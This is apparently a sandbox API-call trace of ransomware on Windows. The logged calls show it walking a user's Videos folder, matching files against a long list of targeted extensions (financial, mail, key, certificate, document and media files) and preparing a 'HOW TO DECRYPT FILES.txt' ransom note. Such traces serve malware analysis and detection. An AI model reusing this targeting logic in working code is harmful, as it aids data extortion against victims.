(pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\_no1JEuEkiQyy-2.swf", pszSpec="*.qbo") returned 0 [0092.014] lstrlenA (lpString="*.qbo") returned 5 [0092.014] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\_no1JEuEkiQyy-2.swf", pszSpec="*.qbx") returned 0 [0092.014] lstrlenA (lpString="*.qbx") returned 5 [0092.014] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\_no1JEuEkiQyy-2.swf", pszSpec="*.qba") returned 0 [0092.014] lstrlenA (lpString="*.qba") returned 5 [0092.014] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\_no1JEuEkiQyy-2.swf", pszSpec="*.qby") returned 0 [0092.014] lstrlenA (lpString="*.qby") returned 5 [0092.014] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\_no1JEuEkiQyy-2.swf", pszSpec="*.qbj") returned 0 [0092.014] lstrlenA (lpString="*.qbj") returned 5 [0092.014] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\_no1JEuEkiQyy-2.swf", pszSpec="*.ofx") returned 0 [0092.014] lstrlenA (lpString="*.ofx") returned 5 [0092.014] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\_no1JEuEkiQyy-2.swf", pszSpec="*.qif") returned 0 [0092.014] lstrlenA (lpString="*.qif") returned 5 [0092.014] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\_no1JEuEkiQyy-2.swf", pszSpec="*.mye") returned 0 [0092.014] lstrlenA (lpString="*.mye") returned 5 [0092.014] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\_no1JEuEkiQyy-2.swf", pszSpec="*.mbox") returned 0 [0092.014] lstrlenA (lpString="*.mbox") returned 6 [0092.014] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\_no1JEuEkiQyy-2.swf", pszSpec="*.eml") returned 0 [0092.014] lstrlenA (lpString="*.eml") returned 5 [0092.015] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\_no1JEuEkiQyy-2.swf", pszSpec="*.pst") returned 0 [0092.015] lstrlenA (lpString="*.pst") returned 5 [0092.015] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\_no1JEuEkiQyy-2.swf", pszSpec="*.ost") returned 0 [0092.015] lstrlenA (lpString="*.ost") returned 5 [0092.015] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\_no1JEuEkiQyy-2.swf", pszSpec="*.idx") returned 0 [0092.015] lstrlenA (lpString="*.idx") returned 5 [0092.015] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\_no1JEuEkiQyy-2.swf", pszSpec="*.dbx") returned 0 [0092.015] lstrlenA (lpString="*.dbx") returned 5 [0092.015] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\_no1JEuEkiQyy-2.swf", pszSpec="*.sql") returned 0 [0092.015] lstrlenA (lpString="*.sql") returned 5 [0092.015] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\_no1JEuEkiQyy-2.swf", pszSpec="*.mdb") returned 0 [0092.015] lstrlenA (lpString="*.mdb") returned 5 [0092.015] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\_no1JEuEkiQyy-2.swf", pszSpec="*.fdb") returned 0 [0092.015] lstrlenA (lpString="*.fdb") returned 5 [0092.015] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\_no1JEuEkiQyy-2.swf", pszSpec="*.wab") returned 0 [0092.015] lstrlenA (lpString="*.wab") returned 5 [0092.015] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\_no1JEuEkiQyy-2.swf", pszSpec="*.dat") returned 0 [0092.015] lstrlenA (lpString="*.dat") returned 5 [0092.015] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\_no1JEuEkiQyy-2.swf", pszSpec="*.txt") returned 0 [0092.015] lstrlenA (lpString="*.txt") returned 5 [0092.016] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\_no1JEuEkiQyy-2.swf", pszSpec="*.jpeg") returned 0 [0092.016] lstrlenA (lpString="*.jpeg") returned 6 [0092.016] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\_no1JEuEkiQyy-2.swf", pszSpec="*.jpg") returned 0 [0092.016] lstrlenA (lpString="*.jpg") returned 5 [0092.016] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\_no1JEuEkiQyy-2.swf", pszSpec="*.png") returned 0 [0092.016] lstrlenA (lpString="*.png") returned 5 [0092.016] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\_no1JEuEkiQyy-2.swf", pszSpec="*.php") returned 0 [0092.016] lstrlenA (lpString="*.php") returned 5 [0092.016] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\_no1JEuEkiQyy-2.swf", pszSpec="*.cs") returned 0 [0092.016] lstrlenA (lpString="*.cs") returned 4 [0092.016] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\_no1JEuEkiQyy-2.swf", pszSpec="*.cpp") returned 0 [0092.016] lstrlenA (lpString="*.cpp") returned 5 [0092.016] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\_no1JEuEkiQyy-2.swf", pszSpec="*.rar") returned 0 [0092.016] lstrlenA (lpString="*.rar") returned 5 [0092.016] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\_no1JEuEkiQyy-2.swf", pszSpec="*.zip") returned 0 [0092.016] lstrlenA (lpString="*.zip") returned 5 [0092.016] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\_no1JEuEkiQyy-2.swf", pszSpec="*.html") returned 0 [0092.016] lstrlenA (lpString="*.html") returned 6 [0092.016] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\_no1JEuEkiQyy-2.swf", pszSpec="*.htm") returned 0 [0092.017] lstrlenA (lpString="*.htm") returned 5 [0092.017] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\_no1JEuEkiQyy-2.swf", pszSpec="*.xlsx") returned 0 [0092.017] lstrlenA (lpString="*.xlsx") returned 6 [0092.017] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\_no1JEuEkiQyy-2.swf", pszSpec="*.xls") returned 0 [0092.017] lstrlenA (lpString="*.xls") returned 5 [0092.017] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\_no1JEuEkiQyy-2.swf", pszSpec="*.mp4") returned 0 [0092.017] lstrlenA (lpString="*.mp4") returned 5 [0092.017] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\_no1JEuEkiQyy-2.swf", pszSpec="*.ppt") returned 0 [0092.017] lstrlenA (lpString="*.ppt") returned 5 [0092.017] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\_no1JEuEkiQyy-2.swf", pszSpec="*.pptx") returned 0 [0092.017] lstrlenA (lpString="*.pptx") returned 6 [0092.017] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\_no1JEuEkiQyy-2.swf", pszSpec="*.doc") returned 0 [0092.017] lstrlenA (lpString="*.doc") returned 5 [0092.017] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\_no1JEuEkiQyy-2.swf", pszSpec="*.dot") returned 0 [0092.017] lstrlenA (lpString="*.dot") returned 5 [0092.017] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\_no1JEuEkiQyy-2.swf", pszSpec="*.docx") returned 0 [0092.017] lstrlenA (lpString="*.docx") returned 6 [0092.017] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\_no1JEuEkiQyy-2.swf", pszSpec="*.7z") returned 0 [0092.017] lstrlenA (lpString="*.7z") returned 4 [0092.017] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\_no1JEuEkiQyy-2.swf", pszSpec="*.tar") returned 0 [0092.017] lstrlenA (lpString="*.tar") returned 5 [0092.017] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\_no1JEuEkiQyy-2.swf", pszSpec="*.bz2") returned 0 [0092.018] lstrlenA (lpString="*.bz2") returned 5 [0092.018] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\_no1JEuEkiQyy-2.swf", pszSpec="*.gz") returned 0 [0092.018] lstrlenA (lpString="*.gz") returned 4 [0092.018] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\_no1JEuEkiQyy-2.swf", pszSpec="*.mkv") returned 0 [0092.018] lstrlenA (lpString="*.mkv") returned 5 [0092.018] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\_no1JEuEkiQyy-2.swf", pszSpec="*.eml") returned 0 [0092.018] lstrlenA (lpString="*.eml") returned 5 [0092.018] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\_no1JEuEkiQyy-2.swf", pszSpec="*.msg") returned 0 [0092.018] lstrlenA (lpString="*.msg") returned 5 [0092.018] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\_no1JEuEkiQyy-2.swf", pszSpec="*.edb") returned 0 [0092.018] lstrlenA (lpString="*.edb") returned 5 [0092.018] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\_no1JEuEkiQyy-2.swf", pszSpec="*.accdb") returned 0 [0092.018] lstrlenA (lpString="*.accdb") returned 7 [0092.018] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\_no1JEuEkiQyy-2.swf", pszSpec="*.odb") returned 0 [0092.018] lstrlenA (lpString="*.odb") returned 5 [0092.018] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\_no1JEuEkiQyy-2.swf", pszSpec="*.java") returned 0 [0092.018] lstrlenA (lpString="*.java") returned 6 [0092.018] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\_no1JEuEkiQyy-2.swf", pszSpec="*.asm") returned 0 [0092.018] lstrlenA (lpString="*.asm") returned 5 [0092.018] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\_no1JEuEkiQyy-2.swf", pszSpec="*.pfx") returned 0 [0092.019] lstrlenA (lpString="*.pfx") returned 5 [0092.019] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\_no1JEuEkiQyy-2.swf", pszSpec="*.pem") returned 0 [0092.019] lstrlenA (lpString="*.pem") returned 5 [0092.019] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\_no1JEuEkiQyy-2.swf", pszSpec="*.p12") returned 0 [0092.019] lstrlenA (lpString="*.p12") returned 5 [0092.019] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\_no1JEuEkiQyy-2.swf", pszSpec="*.gpg") returned 0 [0092.019] lstrlenA (lpString="*.gpg") returned 5 [0092.019] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\_no1JEuEkiQyy-2.swf", pszSpec="*.vsd") returned 0 [0092.019] lstrlenA (lpString="*.vsd") returned 5 [0092.019] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\_no1JEuEkiQyy-2.swf", pszSpec="*.odg") returned 0 [0092.019] lstrlenA (lpString="*.odg") returned 5 [0092.019] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\_no1JEuEkiQyy-2.swf", pszSpec="*.raw") returned 0 [0092.019] lstrlenA (lpString="*.raw") returned 5 [0092.019] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\_no1JEuEkiQyy-2.swf", pszSpec="*.nef") returned 0 [0092.019] lstrlenA (lpString="*.nef") returned 5 [0092.019] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\_no1JEuEkiQyy-2.swf", pszSpec="*.svg") returned 0 [0092.019] lstrlenA (lpString="*.svg") returned 5 [0092.019] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\_no1JEuEkiQyy-2.swf", pszSpec="*.psd") returned 0 [0092.019] lstrlenA (lpString="*.psd") returned 5 [0092.020] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\_no1JEuEkiQyy-2.swf", pszSpec="*.vmx") returned 0 [0092.020] lstrlenA (lpString="*.vmx") returned 5 [0092.020] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\_no1JEuEkiQyy-2.swf", pszSpec="*.vmdk") returned 0 [0092.020] lstrlenA (lpString="*.vmdk") returned 6 [0092.020] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\_no1JEuEkiQyy-2.swf", pszSpec="*.vdi") returned 0 [0092.020] lstrlenA (lpString="*.vdi") returned 5 [0092.020] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\_no1JEuEkiQyy-2.swf", pszSpec="*.lay6") returned 0 [0092.020] lstrlenA (lpString="*.lay6") returned 6 [0092.020] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\_no1JEuEkiQyy-2.swf", pszSpec="*.mpeg") returned 0 [0092.020] lstrlenA (lpString="*.mpeg") returned 6 [0092.020] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\_no1JEuEkiQyy-2.swf", pszSpec="*.djvu") returned 0 [0092.020] lstrlenA (lpString="*.djvu") returned 6 [0092.020] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\_no1JEuEkiQyy-2.swf", pszSpec="*.tiff") returned 0 [0092.020] lstrlenA (lpString="*.tiff") returned 6 [0092.020] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\_no1JEuEkiQyy-2.swf", pszSpec="*.backup") returned 0 [0092.020] lstrlenA (lpString="*.backup") returned 8 [0092.020] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\_no1JEuEkiQyy-2.swf", pszSpec="*.pdf") returned 0 [0092.020] lstrlenA (lpString="*.pdf") returned 5 [0092.020] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\_no1JEuEkiQyy-2.swf", pszSpec="*.cert") returned 0 [0092.021] lstrlenA (lpString="*.cert") returned 6 [0092.021] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\_no1JEuEkiQyy-2.swf", pszSpec="*.docm") returned 0 [0092.021] lstrlenA (lpString="*.docm") returned 6 [0092.021] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\_no1JEuEkiQyy-2.swf", pszSpec="*.xlsm") returned 0 [0092.021] lstrlenA (lpString="*.xlsm") returned 6 [0092.021] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\_no1JEuEkiQyy-2.swf", pszSpec="*.dwg") returned 0 [0092.021] lstrlenA (lpString="*.dwg") returned 5 [0092.021] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\_no1JEuEkiQyy-2.swf", pszSpec="*.nd") returned 0 [0092.021] lstrlenA (lpString="*.nd") returned 4 [0092.021] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\_no1JEuEkiQyy-2.swf", pszSpec="*.tlg") returned 0 [0092.021] lstrlenA (lpString="*.tlg") returned 5 [0092.021] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\_no1JEuEkiQyy-2.swf", pszSpec="*.lgb") returned 0 [0092.021] lstrlenA (lpString="*.lgb") returned 5 [0092.022] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\_no1JEuEkiQyy-2.swf", pszSpec="*.mov") returned 0 [0092.022] lstrlenA (lpString="*.mov") returned 5 [0092.022] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\_no1JEuEkiQyy-2.swf", pszSpec="*.xdw") returned 0 [0092.022] lstrlenA (lpString="*.xdw") returned 5 [0092.022] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\_no1JEuEkiQyy-2.swf", pszSpec="*.ods") returned 0 [0092.022] lstrlenA (lpString="*.ods") returned 5 [0092.022] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\_no1JEuEkiQyy-2.swf", pszSpec="*.wav") returned 0 [0092.022] lstrlenA (lpString="*.wav") returned 5 [0092.022] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\_no1JEuEkiQyy-2.swf", pszSpec="*.mp3") returned 0 [0092.022] lstrlenA (lpString="*.mp3") returned 5 [0092.022] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\_no1JEuEkiQyy-2.swf", pszSpec="*.aiff") returned 0 [0092.022] lstrlenA (lpString="*.aiff") returned 6 [0092.022] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\_no1JEuEkiQyy-2.swf", pszSpec="*.flac") returned 0 [0092.022] lstrlenA (lpString="*.flac") returned 6 [0092.022] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\_no1JEuEkiQyy-2.swf", pszSpec="*.m4a") returned 0 [0092.022] lstrlenA (lpString="*.m4a") returned 5 [0092.023] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\_no1JEuEkiQyy-2.swf", pszSpec="*.csv") returned 0 [0092.023] lstrlenA (lpString="*.csv") returned 5 [0092.023] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4ddce2d0, ftCreationTime.dwHighDateTime=0x1d5de71, ftLastAccessTime.dwLowDateTime=0x579cde30, ftLastAccessTime.dwHighDateTime=0x1d5da1e, ftLastWriteTime.dwLowDateTime=0x579cde30, ftLastWriteTime.dwHighDateTime=0x1d5da1e, nFileSizeHigh=0x0, nFileSizeLow=0x13861, dwReserved0=0x1c00031f, dwReserved1=0x4e00c4, cFileName="_no1JEuEkiQyy-2.swf", cAlternateFileName="_NO1JE~1.SWF")) returned 0 [0092.023] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0092.023] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b61e5b0, ftCreationTime.dwHighDateTime=0x1d5e5a0, ftLastAccessTime.dwLowDateTime=0x82cc7480, ftLastAccessTime.dwHighDateTime=0x1d5dff0, ftLastWriteTime.dwLowDateTime=0x82cc7480, ftLastWriteTime.dwHighDateTime=0x1d5dff0, nFileSizeHigh=0x0, nFileSizeLow=0xf844, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName="TcbxI.mp4", cAlternateFileName="")) returned 1 [0092.023] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0092.023] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="TcbxI.mp4") returned -1 [0092.023] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="TcbxI.mp4") returned -1 [0092.023] lstrcmpiA (lpString1="", lpString2="TcbxI.mp4") returned -1 [0092.023] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\*.*") returned="*.*" [0092.023] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\" [0092.023] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\") returned="" [0092.023] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\HOW TO DECRYPT FILES.txt" [0092.023] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\rxdfbudztrgnjqihbs\\how to decrypt files.txt")) returned 0xffffffff [0092.023] 